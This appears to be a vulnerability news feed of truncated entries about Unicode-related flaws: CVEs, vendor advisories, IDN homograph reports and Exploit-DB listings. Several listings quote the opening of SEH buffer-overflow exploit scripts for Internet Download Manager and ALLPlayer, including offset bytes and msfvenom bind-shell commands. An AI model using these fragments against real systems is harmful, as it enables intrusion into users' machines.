UPDATE: Cuckoo Sandbox 2.0.4

PenTestIT RSS Feed My previous post was about this open source, malware analysis automation framework - Cuckoo Sandbox 2.0.0. This post however, is about an update made to the framework. We now have Cuckoo Sandbox 2.0.4 which include a number of important improvements simplifying and improving yo...

CVE-2017-12883

A heap buffer overread was found in perl's grokbslashN function, which is used in the compilation of Unicode nodes in regular expressions, possibly leading to crash or dump of memory segments via the error output. An attacker, able to provide a specially crafted regular expression, could look for...

Uniscribe Remote Code Execution Vulnerability in Multiple Microsoft Products

Microsoft Windows Server 2008 SP2, etc. are products of Microsoft Corporation.Microsoft Windows Server 2008 SP2, etc. are a series of operating systems; Office 2010 SP2 is a suite of office software; and Word Viewer is a set of free Office Word document viewers.Uniscribe is one of the components...

Quora: IDNs displayed in unicode

Hello Quora, Please refer https://en.wikipedia.org/wiki/Internationalizeddomainname to know more about IDNs. The IDN Internationalized Domain Name : http://ebаy.com/ is a homograph for the latin ebay.com. if you click that first link, you might think that you are going to ebay.com but in fact, yo...

IDN Homograph Attack Spreading Betabot Backdoor

An IDN homograph attack leveraging Adobe’s brand has been discovered, with the malicious site spreading the Betabot backdoor and ultimately infecting compromised machines with cryptocurrency-mining and data-stealing malware. Attacks using internationalized domain name homographs rely on users...

SUSE SLED12 / SLES12 Security Update : icu (SUSE-SU-2017:2318-1)

icu was updated to fix two security issues. These security issues were fixed : - CVE-2014-8147: The resolveImplicitLevels function in common/ubidi.c in the Unicode Bidirectional Algorithm implementation in ICU4C in International Components for Unicode ICU used an integer data type that is...

SUSE-SU-2017:2318-1 Security update for icu

icu was updated to fix two security issues. These security issues were fixed: - CVE-2014-8147: The resolveImplicitLevels function in common/ubidi.c in the Unicode Bidirectional Algorithm implementation in ICU4C in International Components for Unicode ICU used an integer data type that is...

Moderate: Red Hat Security Advisory: ansible security, bug fix, and enhancement update

An update for ansible is now available for RHEV Engine version 4.1. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the C...

openSUSE Security Update : fossil (openSUSE-2017-949)

This update for fossil to version 2.3 fixes the following issues : - Potential XSS vulnerability on the /help webpage boo1053267 This update also contains all upstream improvements and fixes in version 2.3 : - Update internal Unicode character tables, used in regular expression handling, from...

The vulnerability of the Oniguruma library, related to writing beyond the buffer boundaries on the stack, allows a hacker to cause a service failure.

The vulnerability of the Oniguruma library exists due to the improper handling of the code position 0xFFFFFFFF in the unicodeunfoldkey function during the compilation of regular expressions. As a result, when the nigencunicodegetcasefoldcodesbystr function is called, 4 bytes will be written at th...

Internet Download Manager 6.28 Build 17 - Buffer Overflow (SEH Unicode) Exploit

Exploit for windows platform in category local exploits !/usr/bin/python Exploit Title: Internet Download Manager 6.28 Build 17 - 'Find file' SEH Buffer Overflow Unicode Date: 14-06-2017 Exploit Author: f3ci Tested on: Windows 7 SP1 x86 How to exploit: Open IDM - Downloads - Find - paste exploit...

ALLPlayer 7.4 - Buffer Overflow (SEH Unicode) Exploit

Exploit for windows platform in category local exploits !/usr/bin/python Exploit Title: ALL Player v7.4 SEH Buffer Overflow Unicode Version: 7.4 Date: 15-08-2017 Exploit Author: f3ci Tested on: Windows 7 SP1 x86 head = "http://" seh = "\x0f\x47" 0x0047000f nseh = "\x61\x41" popad align junk =...

ALLPlayer 7.4 - Local Buffer Overflow (SEH Unicode)

ALLPlayer 7.4 - Local Buffer Overflow SEH Unicode !/usr/bin/python Exploit Title: ALL Player v7.4 SEH Buffer Overflow Unicode Version: 7.4 Date: 15-08-2017 Exploit Author: f3ci Tested on: Windows 7 SP1 x86 head = "http://" seh = "\x0f\x47" 0x0047000f nseh = "\x61\x41" popad align junk = "\x41" 30...

Internet Download Manager 6.28 Build 17 - Local Buffer Overflow (SEH Unicode)

Internet Download Manager 6.28 Build 17 - Local Buffer Overflow SEH Unicode !/usr/bin/python Exploit Title: Internet Download Manager 6.28 Build 17 - 'Find file' SEH Buffer Overflow Unicode Date: 14-06-2017 Exploit Author: f3ci Tested on: Windows 7 SP1 x86 How to exploit: Open IDM - Downloads -...

Internet Download Manager 6.28 Build 17 - Local Buffer Overflow (SEH Unicode)

!/usr/bin/python Exploit Title: Internet Download Manager 6.28 Build 17 - 'Find file' SEH Buffer Overflow Unicode Date: 14-06-2017 Exploit Author: f3ci Tested on: Windows 7 SP1 x86 How to exploit: Open IDM - Downloads - Find - paste exploit string into 'Find file' text field msfvenom -p...

Internet Download Manager 6.28 Build 17 Buffer Overflow

!/usr/bin/python Exploit Title: Internet Download Manager 6.28 Build 17 - 'Find file' SEH Buffer Overflow Unicode Date: 14-06-2017 Exploit Author: f3ci Tested on: Windows 7 SP1 x86 How to exploit: Open IDM - Downloads - Find - paste exploit string into 'Find file' text field msfvenom -p...

ALLPlayer 7.4 - Local Buffer Overflow (SEH Unicode)

!/usr/bin/python Exploit Title: ALL Player v7.4 SEH Buffer Overflow Unicode Version: 7.4 Date: 15-08-2017 Exploit Author: f3ci Tested on: Windows 7 SP1 x86 head = "http://" seh = "\x0f\x47" 0x0047000f nseh = "\x61\x41" popad align junk = "\x41" 301 junk2 = "\x41" 45 msfvenom -p windows/shellbindt...

CVE-2017-11217

Adobe Acrobat Reader 2017.009.20058 and earlier, 2017.008.30051 and earlier, 2015.006.30306 and earlier, and 11.0.20 and earlier has an exploitable memory corruption vulnerability in the image conversion engine when processing Enhanced Metafile Format EMF data related to drawing of Unicode text...

Memory corruption

Adobe Acrobat Reader 2017.009.20058 and earlier, 2017.008.30051 and earlier, 2015.006.30306 and earlier, and 11.0.20 and earlier has an exploitable memory corruption vulnerability in the image conversion engine when processing Enhanced Metafile Format EMF data related to drawing of Unicode text...

CVE-2017-11236

Adobe Acrobat Reader 2017.009.20058 and earlier, 2017.008.30051 and earlier, 2015.006.30306 and earlier, and 11.0.20 and earlier has an exploitable memory corruption vulnerability in the internal handling of UTF-16 literal strings. Successful exploitation could lead to arbitrary code execution...